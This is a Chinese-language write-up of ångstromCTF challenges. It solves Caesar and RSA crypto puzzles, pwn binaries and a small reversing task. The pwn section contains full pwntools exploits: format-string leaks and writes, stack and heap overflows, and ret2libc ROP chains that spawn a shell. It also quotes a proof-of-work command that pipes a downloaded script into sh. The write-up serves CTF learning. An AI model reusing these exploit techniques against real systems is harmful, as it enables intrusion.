这个比赛打了个开头就放弃了,最近放弃的比较多,国外的网太慢,国内的题太难。
Crypto
ranch
这题直接给出密文这提示
rtkw{cf0bj_czbv_nv'cc_y4mv_kf_kip_re0kyvi_uivjj1ex_5vw89s3r44901831}
Caesar dressing is so 44 BC...
然后是加密程序:未知偏移
import string
f = open("flag.txt").read()
encrypted = ""
shift = int(open("secret_shift.txt").read().strip())
for i in f:
if i in string.ascii_lowercase:
encrypted += chr(((ord(i) - 97 + shift) % 26)+97)
else:
encrypted += i
print(encrypted)
bugku上caser可以枚举
actf{lo0ks_like_we'll_h4ve_to_try_an0ther_dress1ng_5ef89b3a44901831}
impossible
这题啊!!!这个代码没看大明白,这两个函数出来是全是1,然后交集还是1,然后是最下边的判断,感觉是通不通,可前边有个提示:
Supply positive x and y such that x < y and x > y.
只要满足这个就行,问了网友,python还真有这个问题,python的数字是变长的,当一个是整形一个是对象的时候,比较类型强制变换时就有这个问题。
#!/usr/local/bin/python
def fake_psi(a, b):
return [i for i in a if i in b]
def zero_encoding(x, n):
ret = []
for i in range(n):
if (x & 1) == 0:
ret.append(x | 1)
x >>= 1
return ret
def one_encoding(x, n):
ret = []
for i in range(n):
if x & 1:
ret.append(x)
x >>= 1
return ret
print("Supply positive x and y such that x < y and x > y.")
x = int(input("x: "))
y = int(input("y: "))
if len(fake_psi(one_encoding(x, 64), zero_encoding(y, 64))) == 0 and x > y and x > 0 and y > 0:
print(open("flag.txt").read())
然后按他说的办就OK了,高手,还知道这个
┌──(kali㉿kali)-[~/ctf/0422]
└─$ nc challs.actf.co 32200
Supply positive x and y such that x < y and x > y.
x: 11111111111111111111111111111111111111111111111111111111111
y: 1
actf{se3ms_pretty_p0ssible_t0_m3_7623fb7e33577b8a}
Lazy Lagrange
先看原题
N = len(FLAG)
assert N <= 18, 'I\'m too lazy to store a flag that long.'
p = None
a = None
M = (1 << 127) - 1
def query1(s):
if len(s) > 100:
return 'I\'m too lazy to read a query that long.'
x = s.split()
if len(x) > 10:
return 'I\'m too lazy to process that many inputs.'
if any(not x_i.isdecimal() for x_i in x):
return 'I\'m too lazy to decipher strange inputs.'
x = (int(x_i) for x_i in x)
global p, a
p = random.sample(range(N), k=N)
a = [ord(FLAG[p[i]]) for i in range(N)]
res = ''
for x_i in x:
res += f'{sum(a[j] * x_i ** j for j in range(N)) % M}\n'
return res
query1('0')
def query2(s):
if len(s) > 100:
return 'I\'m too lazy to read a query that long.'
x = s.split()
if any(not x_i.isdecimal() for x_i in x):
return 'I\'m too lazy to decipher strange inputs.'
x = [int(x_i) for x_i in x]
while len(x) < N:
x.append(0)
z = 1
for i in range(N):
z *= not x[i] - a[i]
return ' '.join(str(p_i * z) for p_i in p)
while True:
try:
choice = int(input(": "))
assert 1 <= choice <= 2
match choice:
case 1:
print(query1(input("\t> ")))
case 2:
print(query2(input("\t> ")))
except Exception as e:
print("Bad input, exiting", e)
break
题目分两部分,第一部分要求输入一个序列x,然后会把flag打乱后逐位与x^j 相乘然后加到一起返回。
这步由于有长度限制,把返回当成128进制(7位)输入128,然后返7位ASCII码解开就恢复了
第二步要求输入序列与原打乱的flag相同就会返回打乱的序号。第1步恢复以后第二步得到顺序就OK了
from pwn import *
p = remote('challs.actf.co', 32100)
context.log_level = 'debug'
p.sendlineafter(b': ', b'1')
p.sendlineafter(b'> ', b'128')
a = int(p.recvline())
a = bin(a)[2:].rjust(126,'0')
b = [int(a[i:i+7],2) for i in range(0, 126,7)]
b = bytes(b)[::-1]
p.sendlineafter(b': ', b'2')
p.sendlineafter(b'> ', (' '.join([str(i) for i in b])+' ').encode())
odr = [int(i) for i in p.recvline().decode().strip().split()]
a = [0]*18
for i in range(18):
a[odr[i]]=b[i]
print(bytes(a))
Royal Society of Arts
这是个RSA的题给了(p-1)(q-2)和(p-2)(q-1)这个简单了,可以自己推也可以直接写式子让程序算
自己算也简单这两个一减就有p+q了,然后直接求就行
from Crypto.Util.number import getStrongPrime, bytes_to_long
f = open("flag.txt").read()
m = bytes_to_long(f.encode())
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
e = 65537
c = pow(m,e,n)
print("n =",n)
print("e =",e)
print("c =",c)
print("(p-2)*(q-1) =", (p-2)*(q-1))
print("(p-1)*(q-2) =", (p-1)*(q-2))
无难度
n = 125152237161980107859596658891851084232065907177682165993300073587653109353529564397637482758441209445085460664497151026134819384539887509146955251284230158509195522123739130077725744091649212709410268449632822394998403777113982287135909401792915941770405800840172214125677106752311001755849804716850482011237
e = 65537
c = 40544832072726879770661606103417010618988078158535064967318135325645800905492733782556836821807067038917156891878646364780739241157067824416245546374568847937204678288252116089080688173934638564031950544806463980467254757125934359394683198190255474629179266277601987023393543376811412693043039558487983367289
#(p-2)*(q-1)
h1 = 125152237161980107859596658891851084232065907177682165993300073587653109353529564397637482758441209445085460664497151026134819384539887509146955251284230125943565148141498300205893475242956903188936949934637477735897301870046234768439825644866543391610507164360506843171701976641285249754264159339017466738250
#(p-1)*(q-2)
h2 = 125152237161980107859596658891851084232065907177682165993300073587653109353529564397637482758441209445085460664497151026134819384539887509146955251284230123577760657520479879758538312798938234126141096433998438004751495264208294710150161381066757910797946636886901614307738041629014360829994204066455759806614
#p-q
h3 = h1-h2
p,q = var('p q')
solve([p*q == n, p-q ==h3],[p,q])
p = 12432413118408092556922180864578909882548688341838757808040464238372914542545091804094841981170595006563808958609560634333378522509950041851974318809712087
q = 10066608627787074136474825702134891213485892488338118768309318431767076602486802139831042195689782446036335353380696670398366251621025771896701757102780451
d = inverse_mod(e, (p-1)*(q-1))
m = pow(c,d,n)
long_to_bytes(int(m))
#actf{tw0_equ4ti0ns_in_tw0_unkn0wns_d62507431b7e7087}
Royal Society of Arts 2
国外好像对RSA不大关心,所以经常出简单题,这个给了密文,然后让随便输入然后给出解密,显然这里直接c*2^e就行,提到的明文//2
from Crypto.Util.number import getStrongPrime, bytes_to_long, long_to_bytes
f = open("flag.txt").read()
m = bytes_to_long(f.encode())
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
e = 65537
c = pow(m,e,n)
print("n =",n)
print("e =",e)
print("c =",c)
d = pow(e, -1, (p-1)*(q-1))
c = int(input("Text to decrypt: "))
if c == m or b"actf{" in long_to_bytes(pow(c, d, n)):
print("No flag for you!")
exit(1)
print("m =", pow(c, d, n))
from pwn import *
p = remote('challs.actf.co', 32400)
context.log_level = 'debug'
n = int(p.recvline()[4:])
e = int(p.recvline()[4:])
c = int(p.recvline()[4:])
p.sendlineafter(b'Text to decrypt: ', str(pow(2,e,n)*c%n).encode())
m = int(p.recvline()[4:])
print(bytes.fromhex(hex(m>>1)[2:]))
#actf{rs4_is_sorta_homom0rphic_50c8d344df58322b}
后边的就突然变难了,不会了
pwn
queue
题目先把flag读到栈里,然后有格式化字符串漏洞,可以直接打印,只是没有地址用不了找针,按ll打出来再自己组合。
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t rgid; // [rsp+4h] [rbp-CCh]
FILE *stream; // [rsp+8h] [rbp-C8h]
char format[48]; // [rsp+10h] [rbp-C0h] BYREF
char s[136]; // [rsp+40h] [rbp-90h] BYREF
unsigned __int64 v9; // [rsp+C8h] [rbp-8h]
v9 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts("Error: missing flag.txt.");
exit(1);
}
fgets(s, 128, stream);
printf("What did you learn in class today? ");
fgets(format, 48, stdin);
printf("Oh nice, ");
printf(format);
printf("sounds pretty cool!");
return v9 - __readfsqword(0x28u);
}
┌──(kali㉿kali)-[~/ctf/0422]
└─$ nc challs.actf.co 31322
What did you learn in class today? %14$p%15$p%16$p%17$p%18$p%19$p
Oh nice, 0x3474737b667463610x75715f74695f6b630x615f74695f6575650x34373964613931360x7d32326234363863(nil)
sounds pretty cool!
%14$p%15$p%16$p%17$p%18$p%19$p
a =[0x3474737b66746361,0x75715f74695f6b63,0x615f74695f657565,0x3437396461393136,0x7d32326234363863]
>>> b''.join([p64(i) for i in a])
b'actf{st4ck_it_queue_it_a619ad974c864b22}'
gaga
这题给了3个远端,还以为都一样,原来每个只有一部分。
第1个给了地址和后门,直接溢出
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[60]; // [rsp+0h] [rbp-40h] BYREF
__gid_t rgid; // [rsp+3Ch] [rbp-4h]
setbuf(_bss_start, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
puts("Welcome to gaga!");
puts("This challenge is meant to guide you through an introduction to binary exploitation.");
printf(
"\nRight now, you are on stage0. Your goal is to redirect program control to win0, which is at address %p.\n",
win0);
printf("Your input: ");
return gets(v4);
}
第2个的后门带了两个参数
void __fastcall win1(int a1, int a2)
{
char s[136]; // [rsp+10h] [rbp-90h] BYREF
FILE *stream; // [rsp+98h] [rbp-8h]
if ( a1 == 4919 || a2 == 16705 )
{
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts("Error: missing flag.txt.");
exit(1);
}
fgets(s, 128, stream);
puts(s);
}
}
第3个就直接溢出没有后门了,其实可以直接写第3个的程序,一次跑3个(地址有点区别)
from pwn import *
p = remote('challs.actf.co', 31302)
#p = process('./gaga2')
context(arch='amd64',log_level = 'debug')
#gdb.attach(p, 'b*0x401248')
elf = ELF('./gaga2')
pop_rdi = 0x00000000004012b3 # pop rdi ; ret
pop_rsi = 0x00000000004012b1 # pop rsi ; pop r15 ; ret
p.sendlineafter(b"Your input: ", b'A'*0x40 + flat(0x404800, pop_rdi, elf.got['setbuf'], elf.plt['puts'], elf.sym['main']))
#p.sendlineafter(b"Your input: ", b'A'*0x40 + flat(pop_rdi+1,pop_rdi+1, pop_rdi, 4919, pop_rsi, 16705,0, elf.sym['win1']))
#p.recvline()
libc_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x8bad0
bin_sh = libc_addr + 0x1b45bd
system = libc_addr + 0x52290
p.sendlineafter(b"Your input: ", b'A'*0x40 + flat(0x404800, pop_rdi+1, pop_rdi, bin_sh, system, elf.sym['main']))
p.interactive()
#actf{b4by's_
#actf{b4by's_f1rst_pwn!_
#actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}
leek
输入的堆块在密码前,写溢出覆盖即可
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int i; // [rsp+0h] [rbp-50h]
int j; // [rsp+4h] [rbp-4Ch]
__gid_t rgid; // [rsp+8h] [rbp-48h]
char *v9; // [rsp+10h] [rbp-40h]
void *s; // [rsp+18h] [rbp-38h]
char s2[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v12; // [rsp+48h] [rbp-8h]
v12 = __readfsqword(0x28u);
v3 = time(0LL);
srand(v3);
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
puts("I dare you to leek my secret.");
for ( i = 0; i < N; ++i )
{
v9 = (char *)malloc(0x10uLL);
s = malloc(0x20uLL);
memset(s, 0, 0x20uLL);
getrandom(s, 32LL, 0LL);
for ( j = 0; j <= 31; ++j )
{
if ( !*((_BYTE *)s + j) || *((_BYTE *)s + j) == 10 )
*((_BYTE *)s + j) = 1;
}
printf("Your input (NO STACK BUFFER OVERFLOWS!!): ");
input(v9); // 最长1280
printf(":skull::skull::skull: bro really said: ");
puts(v9);
printf("So? What's my secret? ");
fgets(s2, 33, stdin);
if ( strncmp((const char *)s, s2, 0x20uLL) )
{
puts("Wrong!");
exit(-1);
}
puts("Okay, I'll give you a reward for guessing it.");
printf("Say what you want: ");
gets(v9);
puts("Hmm... I changed my mind.");
free(s);
free(v9);
puts("Next round!");
}
puts("Looks like you made it through.");
win();
return v12 - __readfsqword(0x28u);
}
不地要执行100次,外国网站有点慢,只能把串都根据长度连一起发,不然就超时了,sla很费时。
from pwn import *
p = remote('challs.actf.co', 31310)
for i in range(0x64):
p.sendline(b'A'*(0x40-1))
p.sendline(b'A'*(0x20-1))
p.sendline(b'A'*0x18 + p64(0x31))
print(i)
context(arch='amd64',log_level = 'debug')
p.recvline()
p.interactive()
widget
格式化字符串漏洞同时有溢出
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-24h] BYREF
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
__gid_t rgid; // [rsp+28h] [rbp-8h]
unsigned int i; // [rsp+2Ch] [rbp-4h]
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
if ( called )
exit(1);
called = 1;
printf("Amount: ");
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 < 0 ) //没限制多大
exit(1);
printf("Contents: ");
read(0, buf, v4);
for ( i = 0; (int)i < v4; ++i )
{
if ( buf[i] == 110 )
{
printf("bad %d\n", i);
exit(1);
}
}
printf("Your input: ");
return printf(buf);
}
用了一个我第一次见的工作量proof redpwnpow
from pwn import *
def proof():
p.recvuntil(b'proof of work: curl -sSfL https://pwn.red/pow | sh -s ')
work = p.recvline().decode().strip()
r = process(['./redpwnpow-linux-amd64', work])
p.sendafter(b'solution: ', r.recvline())
r.close()
#p = process('./widget')
p = remote('challs.actf.co', 31320)
context(arch='amd64', log_level='debug')
elf = ELF('./widget')
libc = ELF('/home/kali/glibc/libs/2.35-0ubuntu3-amd64/libc.so.6')
proof()
#gdb.attach(p, 'b*0x4014c5')
p.sendlineafter(b"Amount: ", b'256')
p.sendlineafter(b"Contents: ", b'%33$p,%34$p,'.ljust(0x20, b'\x00')+flat(0x404800, 0x4013d9))
p.recvuntil(b"Your input: ")
libc.address = int(p.recvuntil(b',', drop=True),16) - 128 - libc.sym['__libc_start_main'] #0x29d90
stack_addr = int(p.recvuntil(b',', drop=True),16) - 0x128
print('libc:',hex(libc.address), 'stack,rbp:', hex(stack_addr))
pop_rdi = next(libc.search(asm('pop rdi;ret')))
bin_sh = next(libc.search(b'/bin/sh\0'))
p.sendlineafter(b"Amount: ", b'256')
p.sendlineafter(b"Contents: ", b'\x00'*0x28+ flat(pop_rdi+1, pop_rdi, bin_sh, libc.sym['system'] ))
p.interactive()
#actf{y0u_f0und_a_usefu1_widg3t!_30db5c45a07ac981}
slack
又一个格式化字符串漏洞,只是可输入非常短,不足以干大活,只能一个字节一个字节的写,由于有次数限制需要先改下
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v4; // eax
int i; // [rsp+8h] [rbp-68h]
__gid_t rgid; // [rsp+Ch] [rbp-64h]
time_t timer; // [rsp+10h] [rbp-60h] BYREF
struct tm *tp; // [rsp+18h] [rbp-58h]
char s[32]; // [rsp+20h] [rbp-50h] BYREF
char format[40]; // [rsp+40h] [rbp-30h] BYREF
unsigned __int64 v13; // [rsp+68h] [rbp-8h]
v13 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
puts("Welcome to slack (not to be confused with the popular chat service Slack)!");
timer = time(0LL);
tp = localtime(&timer);
v3 = time(0LL);
srand(v3);
for ( i = 0; i <= 2; ++i ) //需要先改小
{
strftime(s, 0x1AuLL, "%Y-%m-%d %H:%M:%S", tp);
v4 = rand();
printf("%s -- slack Bot: %s\n", s, (&messages)[v4 % 8]);
printf("Your message (to increase character limit, pay $99 to upgrade to Professional): ");
fgets(format, 14, stdin); // 13字节太小
tp = localtime(&timer);
strftime(s, 0x1AuLL, "%Y-%m-%d %H:%M:%S", tp);
printf("%s -- You: ", s);
printf(format);
putchar(10);
}
return v13 - __readfsqword(0x28u);
}
先泄露libc,stack,然后利用指向argv的栈地址链指向计数器高字节改为负数,修改后再指向返回地址写payload
from pwn import *
#p = process('./slack')
p = remote('challs.actf.co', 31500)
context(arch='amd64', log_level = 'debug')
libc = ELF('/home/kali/glibc/libs/2.35-0ubuntu3-amd64/libc.so.6')
def snd(pay):
#p.sendafter(b'Professional): ', pay.encode())
p.send(pay.encode())
#leak stack,libc
snd('%25$p,%41$p,\n')
p.recvuntil(b"You: ")
i_addr = int(p.recvuntil(b',', drop=True), 16) - 0x180
libc.address = int(p.recvuntil(b',', drop=True), 16) - 128 - libc.sym['__libc_start_main']
print(hex(i_addr), hex(libc.address))
#28->55->155 28->55->i
snd(f'%{(i_addr&0xffff)+3}c%25$hn\n')
#set i = -...
snd(f'%255c%55$hhn\n')
ret_addr = i_addr + 0x70
if i_addr&0xff00 == ret_addr &0xff00:
snd(f"%{ret_addr&0xff}c%25$hhn\n")
else:
snd(f"%{ret_addr&0xffff}c%25$hn\n")
pop_rdi = next(libc.search(asm('pop rdi;ret')))
bin_sh = next(libc.search(b'/bin/sh\x00'))
payload = flat(pop_rdi+1, pop_rdi, bin_sh, libc.sym['system'])
for i in range(len(payload)):
v1 = (ret_addr+i)&0xff
if v1==0:
snd(f"%25$hhn\n")
else:
snd(f"%{v1}c%25$hhn\n")
v2 = payload[i]
if v2==0:
snd(f"%55$hhn\n")
else:
snd(f"%{v2}c%55$hhn\n")
#25->55->i_addr+3 set i>0
if i_addr&0xff00 == ret_addr &0xff00:
snd(f"%{(i_addr+3)&0xff}c%25$hhn\n")
else:
snd(f"%{(i_addr+3)&0xffff}c%25$hn\n")
snd(f"%55$hhn\n")
p.sendline(b'cat flag.txt')
p.interactive()
#actf{succesfu1_onb0arding_f99454d9a2f42632}
后边两个难的也没作,国外网站太慢,慢着慢着就放弃了。
RE
checker 略
zaza
一个异或运算
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v5; // [rsp+8h] [rbp-58h] BYREF
unsigned int v6; // [rsp+Ch] [rbp-54h] BYREF
char s[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v8; // [rsp+58h] [rbp-8h]
v8 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
v5 = 0;
v6 = 0;
printf("I'm going to sleep. Count me some sheep: ");
__isoc99_scanf("%d", &v5);
if ( v5 != 4919 ) // 4919
{
puts("That's not enough sheep!");
exit(1);
}
printf("Nice, now reset it. Bet you can't: ");
__isoc99_scanf("%d", &v6); // 1011094151
if ( v5 * v6 == 1 )
{
printf("%d %d", v6, v6 + v5);
puts("Not good enough for me.");
exit(1);
}
puts("Okay, what's the magic word?");
getchar();
fgets(s, 64, stdin);
s[strcspn(s, "\n")] = 0;
xor_(s);
if ( strncmp(s, "2& =$!-( <*+*( ?!&$$6,. )' $19 , #9=!1 <*=6 <6;66#", 0x32uLL) )
{
puts("Nope");
exit(1);
}
win();
return v8 - __readfsqword(0x28u);
}
┌──(kali㉿kali)-[~/ctf/0422]
└─$ nc challs.actf.co 32760
I'm going to sleep. Count me some sheep: 4919
Nice, now reset it. Bet you can't: 0
Okay, what's the magic word?
SHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEP
actf{g00dnight_c7822fb3af92b949}
时间有点长,都快忘了。赶紧补上。